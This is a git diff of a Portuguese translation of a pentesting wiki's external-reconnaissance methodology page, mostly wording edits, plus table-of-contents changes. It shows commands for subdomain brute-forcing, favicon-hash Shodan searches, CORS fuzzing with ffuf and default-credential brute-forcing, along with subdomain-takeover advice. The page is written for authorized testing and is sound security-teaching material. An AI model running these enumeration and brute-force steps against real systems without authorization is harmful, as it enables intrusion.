Translated ['generic-methodologies-and-resources/external-recon-methodol
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 201 KiB |
|
@ -161,6 +161,7 @@
|
|||
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
|
@ -509,7 +510,7 @@
|
|||
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
|
||||
|
||||
## 🕸 Pentesting Web
|
||||
## 🕸️ Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
|
@ -664,7 +665,7 @@
|
|||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
|
||||
## ⛈ Cloud Security
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
|
||||
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
|
||||
|
@ -722,7 +723,7 @@
|
|||
* [ICMPsh](backdoors/icmpsh.md)
|
||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||
|
||||
## ✍ TODO
|
||||
## ✍️ TODO
|
||||
|
||||
* [Other Big References](misc/references.md)
|
||||
* [Rust Basics](todo/rust-basics.md)
|
||||
|
|
|
@ -7,22 +7,22 @@
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Descoberta de Ativos
|
||||
|
||||
> Então disseram a você que tudo pertencente a uma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
|
||||
> Então, disseram a você que tudo pertencente a uma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
|
||||
|
||||
O objetivo desta fase é obter todas as **empresas pertencentes à empresa principal** e, em seguida, todos os **ativos** dessas empresas. Para fazer isso, vamos:
|
||||
|
||||
|
@ -33,13 +33,13 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
|
|||
|
||||
### **Aquisições**
|
||||
|
||||
Antes de mais nada, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
|
||||
Antes de tudo, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
|
||||
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
|
||||
Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
|
||||
|
||||
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
|
||||
|
||||
### **ASNs**
|
||||
### **ASN**
|
||||
|
||||
Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
|
||||
Um **AS** consiste em **blocos** de **endereços IP** que possuem uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
|
||||
|
@ -74,8 +74,8 @@ Pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ip
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
|
||||
Também, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
|
||||
Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você pode lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
|
||||
Também, você pode lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro para saber como fazer pentest em vários serviços possíveis em execução.\
|
||||
**Além disso, vale mencionar que você também pode preparar algumas** listas de **nomes de usuário e** senhas **padrão e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domínios
|
||||
|
@ -84,7 +84,7 @@ Também, você poderia lançar alguns [**scans de porta**](../pentesting-network
|
|||
|
||||
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e essa informação não deve ser subestimada._
|
||||
|
||||
Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para a _Tesla Inc._ será _tesla.com_.
|
||||
|
||||
### **DNS Reverso**
|
||||
|
||||
|
@ -100,7 +100,7 @@ Você também pode usar uma ferramenta online para essa informação: [http://pt
|
|||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Dentro de um **whois**, você pode encontrar muitas informações interessantes, como o **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **pesquisas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
|
||||
Dentro de um **whois**, você pode encontrar muitas informações interessantes como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **pesquisas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
|
||||
Você pode usar ferramentas online como:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Grátis**
|
||||
|
@ -108,7 +108,7 @@ Você pode usar ferramentas online como:
|
|||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Grátis**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Grátis** na web, não grátis na API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não grátis
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não grátis (apenas **100 pesquisas gratuitas**)
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não grátis (apenas **100 pesquisas grátis**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Não grátis
|
||||
|
||||
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requer uma chave de API whoxy).\
|
||||
|
@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Simplesmente dito, o favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone de favicon que nosso alvo.
|
||||
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais locais vulneráveis**:
|
||||
Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -159,7 +159,7 @@ return fhash
|
|||
```
|
||||
### **Direitos autorais / String única**
|
||||
|
||||
Pesquise nas páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise por essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"String de direitos autorais"`
|
||||
Pesquise nas páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"String de direitos autorais"`
|
||||
|
||||
### **Tempo CRT**
|
||||
|
||||
|
@ -170,14 +170,14 @@ Pesquise nas páginas da web **strings que podem ser compartilhadas em diferente
|
|||
```
|
||||
### Metodologia de Reconhecimento Externo
|
||||
|
||||
Para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência do certificado**.\
|
||||
Renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerado no tempo de Validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
|
||||
Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Assunção Passiva**
|
||||
|
||||
Aparentemente, é comum as pessoas atribuírem subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **perderem esse endereço IP, mas esquecerem de remover o registro DNS**. Portanto, apenas **iniciando uma VM** em uma nuvem (como Digital Ocean), você estará realmente **assumindo o controle de alguns subdomínios**.
|
||||
|
||||
[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **inicia uma VM na DigitalOcean**, **obtém** o **IPv4** da nova máquina e **pesquisa no Virustotal por registros de subdomínios** apontando para ele.
|
||||
[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **inicia uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **pesquisa no Virustotal por registros de subdomínios** apontando para ele.
|
||||
|
||||
### **Outras maneiras**
|
||||
|
||||
|
@ -197,7 +197,7 @@ Você poderia acessar o **certificado TLS** da página web principal, obter o **
|
|||
|
||||
Verifique por algum [domínio assumido](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
|
||||
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Obs.: Às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
@ -363,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um wrapper em `massdns`, escrito em go, que permite enumerar subdomínios válidos usando força bruta ativa, além de resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um wrapper em torno do `massdns`, escrito em go, que permite enumerar subdomínios válidos usando força bruta ativa, bem como resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -375,9 +375,9 @@ puredns bruteforce all.txt domain.com
|
|||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Segunda Rodada de Força Bruta no DNS
|
||||
### Segunda Rodada de Força Bruta de DNS
|
||||
|
||||
Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações nos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
|
||||
Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações dos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dado os domínios e subdomínios, gera permutações.
|
||||
```bash
|
||||
|
@ -397,7 +397,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
|||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta fará força bruta no resultado (não suporta curinga dns).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta irá forçar bruta o resultado (não suporta curinga dns).
|
||||
* Você pode obter a lista de palavras de permutações do dmut [**aqui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
@ -413,13 +413,13 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta de subdomínio acoplado a um algoritmo imensamente simples, mas eficaz, guiado por respostas DNS. Ele utiliza um conjunto fornecido de dados de entrada, como uma lista de palavras personalizada ou registros históricos de DNS/TLS, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta de subdomínio acoplado a um algoritmo imensamente simples, mas eficaz, guiado por respostas de DNS. Ele utiliza um conjunto fornecido de dados de entrada, como uma lista de palavras personalizada ou registros históricos de DNS/TLS, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura de DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Fluxo de Descoberta de Subdomínio**
|
||||
|
||||
Confira este post que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos Trickest** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
|
||||
Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho Trickest** para que eu não precise iniciar manualmente um monte de ferramentas no meu computador:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -455,13 +455,13 @@ Com esta técnica, você pode até mesmo ser capaz de acessar endpoints internos
|
|||
|
||||
### **Força Bruta de CORS**
|
||||
|
||||
Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nestes cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
|
||||
Às vezes, você encontrará páginas que só retornam o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nestes cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Forçar Buckets**
|
||||
### **Força Bruta em Buckets**
|
||||
|
||||
Ao procurar por **subdomínios**, fique atento para ver se ele está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Além disso, neste ponto, você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitoramento**
|
||||
|
@ -473,15 +473,15 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
|
|||
Verifique possíveis [**apropriações de subdomínio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Obs: Às vezes, o subdomínio está hospedado em um IP que não é controlado pelo cliente, portanto, não está no escopo, tenha cuidado._
|
||||
Se encontrar algum **subdomínio com um IP diferente** dos que já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Obs.: Às vezes, o subdomínio está hospedado em um IP que não é controlado pelo cliente, portanto, não está no escopo, tenha cuidado._
|
||||
|
||||
## IPs
|
||||
|
||||
Nas etapas iniciais, você pode ter **encontrado algumas faixas de IP, domínios e subdomínios**.\
|
||||
É hora de **recolher todos os IPs dessas faixas** e dos **domínios/subdomínios (consultas DNS).**
|
||||
|
||||
Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar **IPs anteriores usados por domínios e subdomínios**. Esses IPs ainda podem ser de propriedade do cliente (e podem permitir que você encontre [**bypasses do CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar **IPs anteriores usados por domínios e subdomínios**. Esses IPs ainda podem ser de propriedade do cliente (e podem permitir que você encontre [**burlas ao CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
|
@ -489,15 +489,15 @@ Você também pode verificar os domínios que apontam para um endereço IP espec
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
**Varredure todas as portas dos IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
|
||||
**Varredure todos os IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
|
||||
|
||||
**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
|
||||
|
||||
## Caça a servidores web
|
||||
## Caça a Servidores Web
|
||||
|
||||
> Encontramos todas as empresas e seus ativos e conhecemos as faixas de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
|
||||
|
||||
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se ainda não tivermos, vamos ver agora alguns **truques rápidos para procurar servidores web** dentro do escopo.
|
||||
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se não tivermos, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
|
||||
|
||||
Por favor, note que isso será **orientado para a descoberta de aplicativos da web**, então você deve **realizar a vulnerabilidade** e a **varredura de portas** também (**se permitido** pelo escopo).
|
||||
|
||||
|
@ -572,7 +572,7 @@ Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Lea
|
|||
|
||||
#### Dorks do Github
|
||||
|
||||
Confira também esta **página** para possíveis **dorks do github** que você também pode pesquisar na organização que está atacando:
|
||||
Verifique também esta **página** para possíveis **dorks do github** que você também pode pesquisar na organização que está atacando:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -585,7 +585,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
|
|||
|
||||
### Dorks do Google
|
||||
|
||||
Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
Dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
|
||||
_Obs: As ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google bloqueará você muito em breve._
|
||||
|
||||
|
@ -610,7 +610,7 @@ Também existem serviços gratuitos que permitem que você **escaneie repositór
|
|||
|
||||
A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicação web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações iniciais sobre a web.**
|
||||
Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementar em **fluxos de trabalho para obter algumas informações iniciais sobre a web.**
|
||||
|
||||
## Recapitulação
|
||||
|
||||
|
@ -621,12 +621,12 @@ Então você já:
|
|||
1. Encontrou todas as **empresas** dentro do escopo
|
||||
2. Encontrou todos os **ativos** pertencentes às empresas (e realizou uma varredura de vulnerabilidades se estiver no escopo)
|
||||
3. Encontrou todos os **domínios** pertencentes às empresas
|
||||
4. Encontrou todos os **subdomínios** dos domínios (algum subdomínio para assumir?)
|
||||
4. Encontrou todos os **subdomínios** dos domínios (algum risco de subdomínio?)
|
||||
5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo.
|
||||
6. Encontrou todos os **servidores web** e tirou um **screenshot** deles (algo estranho que valha uma investigação mais aprofundada?)
|
||||
7. Encontrou todos os **ativos potenciais de nuvem pública** pertencentes à empresa.
|
||||
8. **E-mails**, **vazamentos de credenciais** e **vazamentos de segredos** que poderiam lhe dar uma **grande vitória muito facilmente**.
|
||||
9. **Pentestando todas as webs que você encontrou**
|
||||
9. **Pentesting em todos os sites que você encontrou**
|
||||
|
||||
## **Ferramentas Automáticas de Reconhecimento Completo**
|
||||
|
||||
|
@ -643,7 +643,7 @@ Existem várias ferramentas por aí que executarão parte das ações propostas
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
